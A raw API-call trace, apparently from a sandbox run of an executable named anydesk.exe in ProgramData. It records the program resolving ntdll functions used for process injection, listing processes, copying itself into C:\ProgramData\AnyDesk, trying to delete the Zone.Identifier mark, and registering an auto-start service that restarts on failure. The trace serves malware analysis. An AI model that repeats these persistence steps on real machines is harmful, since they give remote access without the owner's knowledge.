[0178.332] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d74, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.332] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d74, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM3") returned 5 [0178.332] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d6c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.332] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d6c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM4") returned 5 [0178.332] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d64, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.332] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d64, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM5") returned 5 [0178.332] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.332] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.332] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d5c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM6") returned 5 [0178.333] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.333] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d54, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.333] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.333] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d54, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM7") returned 5 [0178.333] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.333] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d4c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.336] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d4c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM8") returned 5 [0178.336] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d44, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.336] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d44, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="COM9") returned 5 [0178.336] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.336] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d3c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT1") returned 5 [0178.336] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d34, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.336] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d34, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT2") returned 5 [0178.336] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d2c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.336] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d2c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT3") returned 5 [0178.336] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d24, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.336] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d24, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT4") returned 5 [0178.337] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d1c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.337] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d1c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT5") returned 5 [0178.337] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d14, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.337] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d14, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT6") returned 5 [0178.337] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d0c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.337] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d0c, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT7") returned 5 [0178.337] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d04, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.337] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486d04, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT8") returned 5 [0178.337] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486cfc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0178.337] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xa) returned 0x24e510 [0178.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1486cfc, cbMultiByte=-1, lpWideCharStr=0x24e510, cchWideChar=5 | out: lpWideCharStr="LPT9") returned 5 [0178.337] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e510 | out: hHeap=0x240000) returned 1 [0178.337] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4a0 | out: hHeap=0x240000) returned 1 [0178.337] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4b0 | out: hHeap=0x240000) returned 1 [0178.337] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d830 | out: hHeap=0x240000) returned 1 [0178.338] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4c8 | out: hHeap=0x240000) returned 1 [0178.338] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4e0 | out: hHeap=0x240000) returned 1 [0178.338] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4f8 | out: hHeap=0x240000) returned 1 [0178.338] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2) returned 0x24f4a0 [0178.338] GetLastError () returned 0x0 [0178.339] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AnyDesk", ulOptions=0x0, samDesired=0x20019, phkResult=0x12655c | out: phkResult=0x12655c*=0x0) returned 0x2 [0178.339] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3340048 | out: hHeap=0x240000) returned 1 [0178.339] LoadLibraryW (lpLibFileName="ntdll.dll") returned 0x76f00000 [0178.339] GetProcAddress (hModule=0x76f00000, lpProcName="NtClose") returned 0x76f1f9d0 [0178.339] GetProcAddress (hModule=0x76f00000, lpProcName="RtlCopyMemory") returned 0x0 [0178.340] GetProcAddress (hModule=0x76f00000, lpProcName="NtMapViewOfSection") returned 0x76f1fc40 [0178.340] GetProcAddress (hModule=0x76f00000, lpProcName="NtUnmapViewOfSection") returned 0x76f1fc70 [0178.340] GetProcAddress (hModule=0x76f00000, lpProcName="NtCreateSection") returned 0x76f1ff94 [0178.340] GetProcAddress (hModule=0x76f00000, lpProcName="NtQuerySystemInformation") returned 0x76f1fda0 [0178.340] GetProcAddress (hModule=0x76f00000, lpProcName="NtOpenProcess") returned 0x76f1fc10 [0178.340] GetProcAddress (hModule=0x76f00000, lpProcName="NtAllocateVirtualMemory") returned 0x76f1fab0 [0178.340] GetProcAddress (hModule=0x76f00000, lpProcName="NtProtectVirtualMemory") returned 0x76f20028 [0178.340] GetProcAddress (hModule=0x76f00000, lpProcName="NtFreeVirtualMemory") returned 0x76f1fb48 [0178.340] GetProcAddress (hModule=0x76f00000, lpProcName="NtWriteVirtualMemory") returned 0x76f1fe04 [0178.341] GetProcAddress (hModule=0x76f00000, lpProcName="NtTerminateThread") returned 0x76f20074 [0178.341] GetProcAddress (hModule=0x76f00000, lpProcName="NtDuplicateObject") returned 0x76f1fe34 [0178.341] GetProcAddress (hModule=0x76f00000, lpProcName="RtlCreateUserThread") returned 0x76fae5d1 [0178.341] GetProcAddress (hModule=0x76f00000, lpProcName="LdrLoadDll") returned 0x76f3c43a [0178.341] GetProcAddress (hModule=0x76f00000, lpProcName="LdrGetProcedureAddress") returned 0x76f301aa [0178.341] GetProcAddress (hModule=0x76f00000, lpProcName="LdrUnloadDll") returned 0x76f411d7 [0178.341] GetProcAddress (hModule=0x76f00000, lpProcName="NtQueryInformationProcess") returned 0x76f1fac8 [0178.341] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x0, Length=0x0, ResultLength=0x126530 | out: SystemInformation=0x0, ResultLength=0x126530*=0x12b40) returned 0xc0000004 [0178.348] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x18) returned 0x24d830 [0178.348] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12b40) returned 0x3340048 [0178.349] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3340048, Length=0x12b40, ResultLength=0x126530 | out: SystemInformation=0x3340048, ResultLength=0x126530*=0xe908) returned 0x0 [0178.353] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xe) returned 0x24e4f8 [0178.353] GetLastError () returned 0x7f [0178.354] GetSystemTime (in: lpSystemTime=0x126494 | out: lpSystemTime=0x126494*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x249)) [0178.354] GetCurrentThreadId () returned 0xe08 [0178.354] GetCurrentProcessId () returned 0xe14 [0178.354] GetLastError () returned 0x0 [0178.354] FreeLibrary (hLibModule=0x76f00000) returned 1 [0178.354] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x14) returned 0x24d830 [0178.354] GetLastError () returned 0x0 [0178.354] GetSystemTime (in: lpSystemTime=0x126444 | out: lpSystemTime=0x126444*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x249)) [0178.354] GetCurrentThreadId () returned 0xe08 [0178.354] GetCurrentProcessId () returned 0xe14 [0178.354] GetLastError () returned 0x0 [0178.357] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1b) returned 0x3352ba8 [0178.357] GetLastError () returned 0x0 [0178.357] GetSystemTime (in: lpSystemTime=0x1263b8 | out: lpSystemTime=0x1263b8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x249)) [0178.357] GetCurrentThreadId () returned 0xe08 [0178.357] GetCurrentProcessId () returned 0xe14 [0178.357] GetLastError () returned 0x0 [0178.357] OpenServiceW (hSCManager=0x51bad8, lpServiceName="AnyDesk", dwDesiredAccess=0xf003f) returned 0x0 [0178.358] GetLastError () returned 0x424 [0178.358] GetLastError () returned 0x0 [0178.358] GetSystemTime (in: lpSystemTime=0x1263bc | out: lpSystemTime=0x1263bc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x249)) [0178.358] GetCurrentThreadId () returned 0xe08 [0178.358] GetCurrentProcessId () returned 0xe14 [0178.358] GetLastError () returned 0x0 [0178.358] GetSystemTime (in: lpSystemTime=0x1263b8 | out: lpSystemTime=0x1263b8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x249)) [0178.358] GetCurrentThreadId () returned 0xe08 [0178.358] GetCurrentProcessId () returned 0xe14 [0178.358] GetLastError () returned 0x0 [0178.358] OpenServiceW (hSCManager=0x51bad8, lpServiceName="AnyDeskVolatileSvc", dwDesiredAccess=0xf003f) returned 0x0 [0178.359] GetLastError () returned 0x424 [0178.359] GetLastError () returned 0x0 [0178.359] GetSystemTime (in: lpSystemTime=0x1263bc | out: lpSystemTime=0x1263bc*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x249)) [0178.359] GetCurrentThreadId () returned 0xe08 [0178.359] GetCurrentProcessId () returned 0xe14 [0178.359] GetLastError () returned 0x0 [0178.359] CreateDirectoryW (lpPathName="C:\\ProgramData\\AnyDesk" (normalized: "c:\\programdata\\anydesk"), lpSecurityAttributes=0x0) returned 0 [0178.359] GetLastError () returned 0xb7 [0178.359] GetLastError () returned 0x0 [0178.359] GetSystemTime (in: lpSystemTime=0x126444 | out: lpSystemTime=0x126444*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x249)) [0178.359] GetCurrentThreadId () returned 0xe08 [0178.359] GetCurrentProcessId () returned 0xe14 [0178.359] GetLastError () returned 0x0 [0178.360] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1244a4, nSize=0x1000 | out: lpFilename="c:\\programdata\\anydesk.exe" (normalized: "c:\\programdata\\anydesk.exe")) returned 0x1a [0178.360] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4d0 | out: hHeap=0x240000) returned 1 [0178.360] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x36) returned 0x24fad8 [0178.360] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1e) returned 0x3352bd0 [0178.360] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.360] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x18) returned 0x24d850 [0178.360] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4c0 | out: hHeap=0x240000) returned 1 [0178.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0178.360] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4c0 [0178.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4c0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0178.360] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x30) returned 0x3353390 [0178.360] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x46) returned 0x33533c8 [0178.361] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353390 | out: hHeap=0x240000) returned 1 [0178.361] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4c0 | out: hHeap=0x240000) returned 1 [0178.361] CopyFileW (lpExistingFileName="c:\\programdata\\anydesk.exe" (normalized: "c:\\programdata\\anydesk.exe"), lpNewFileName="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" (normalized: "c:\\programdata\\anydesk\\anydesk.exe"), bFailIfExists=0) returned 1 [0178.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14874ac, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 17 [0178.709] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x22) returned 0x24fb18 [0178.709] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x14874ac, cbMultiByte=-1, lpWideCharStr=0x24fb18, cchWideChar=17 | out: lpWideCharStr=":Zone.Identifier") returned 17 [0178.709] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x66) returned 0x3353418 [0178.709] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24fb18 | out: hHeap=0x240000) returned 1 [0178.709] DeleteFileW (lpFileName="C:\\ProgramData\\AnyDesk\\AnyDesk.exe:Zone.Identifier" (normalized: "c:\\programdata\\anydesk\\anydesk.exe:zone.identifier")) returned 0 [0178.710] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0178.710] GetLastError () returned 0x2 [0178.710] PathFileExistsW (pszPath="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 1 [0178.710] PathFileExistsW (pszPath="C:\\ProgramData\\AnyDesk\\AnyDesk.exe") returned 1 [0178.711] GetLastError () returned 0x0 [0178.711] GetSystemTime (in: lpSystemTime=0x126400 | out: lpSystemTime=0x126400*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x3a1)) [0178.711] GetCurrentThreadId () returned 0xe08 [0178.711] GetCurrentProcessId () returned 0xe14 [0178.711] GetLastError () returned 0x0 [0178.711] OpenServiceW (hSCManager=0x51bad8, lpServiceName="AnyDesk", dwDesiredAccess=0xf003f) returned 0x0 [0178.714] GetLastError () returned 0x424 [0178.714] GetLastError () returned 0x0 [0178.714] GetSystemTime (in: lpSystemTime=0x126404 | out: lpSystemTime=0x126404*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x3a1)) [0178.714] GetCurrentThreadId () returned 0xe08 [0178.714] GetCurrentProcessId () returned 0xe14 [0178.714] GetLastError () returned 0x0 [0178.714] GetSystemTime (in: lpSystemTime=0x126388 | out: lpSystemTime=0x126388*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xb, wMilliseconds=0x3a1)) [0178.714] GetCurrentThreadId () returned 0xe08 [0178.714] GetCurrentProcessId () returned 0xe14 [0178.715] GetLastError () returned 0x0 [0178.715] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1243ec, nSize=0x1000 | out: lpFilename="c:\\programdata\\anydesk.exe" (normalized: "c:\\programdata\\anydesk.exe")) returned 0x1a [0178.715] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4d0 | out: hHeap=0x240000) returned 1 [0178.715] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x36) returned 0x3353418 [0178.715] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1e) returned 0x3352bf8 [0178.715] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4c0 | out: hHeap=0x240000) returned 1 [0178.715] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x18) returned 0x24d870 [0178.715] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.715] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x46) returned 0x3353458 [0178.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145a7a4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0178.715] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4b0 [0178.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145a7a4, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=2 | out: lpWideCharStr="\"") returned 2 [0178.715] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x48) returned 0x33534a8 [0178.715] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145a7a4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0178.715] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4b0 [0178.715] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145a7a4, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=2 | out: lpWideCharStr="\"") returned 2 [0178.715] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4a) returned 0x33534f8 [0178.715] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0178.716] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353458 | out: hHeap=0x240000) returned 1 [0178.716] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x33534a8 | out: hHeap=0x240000) returned 1 [0178.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a1ac, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0178.716] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x16) returned 0x24d890 [0178.716] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a1ac, cbMultiByte=-1, lpWideCharStr=0x24d890, cchWideChar=11 | out: lpWideCharStr=" --service") returned 11 [0178.716] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x5e) returned 0x3353458 [0178.717] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x33534f8 | out: hHeap=0x240000) returned 1 [0178.717] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d890 | out: hHeap=0x240000) returned 1 [0178.717] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e4e0 [0178.717] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x10) returned 0x24e4f8 [0178.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a210, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0178.717] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d890 [0178.717] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a210, cbMultiByte=-1, lpWideCharStr=0x24d890, cchWideChar=9 | out: lpWideCharStr=" Service") returned 9 [0178.717] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20) returned 0x3352c20 [0178.717] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4e0 | out: hHeap=0x240000) returned 1 [0178.717] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d890 | out: hHeap=0x240000) returned 1 [0178.717] CreateServiceW (in: hSCManager=0x51bad8, lpServiceName="AnyDesk", lpDisplayName="AnyDesk Service", dwDesiredAccess=0xf01ff, dwServiceType=0x10, dwStartType=0x2, dwErrorControl=0x1, lpBinaryPathName="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --service", lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies="RpcSs", lpServiceStartName=0x0, lpPassword=0x0 | out: lpdwTagId=0x0) returned 0x516aa0 [0178.938] ChangeServiceConfig2W (hService=0x516aa0, dwInfoLevel=0x2, lpInfo=0x12646c*(dwResetPeriod=0xe10, lpRebootMsg=0x0, lpCommand=0x0, cActions=0x3, lpsaActions=((Type=0x1, Delay=0x0), (Type=0x1, Delay=0x7530), (Type=0x0, Delay=0x0)))) returned 1 [0178.960] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a21c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 18 [0178.960] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x24) returned 0x24fb18 [0178.961] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a21c, 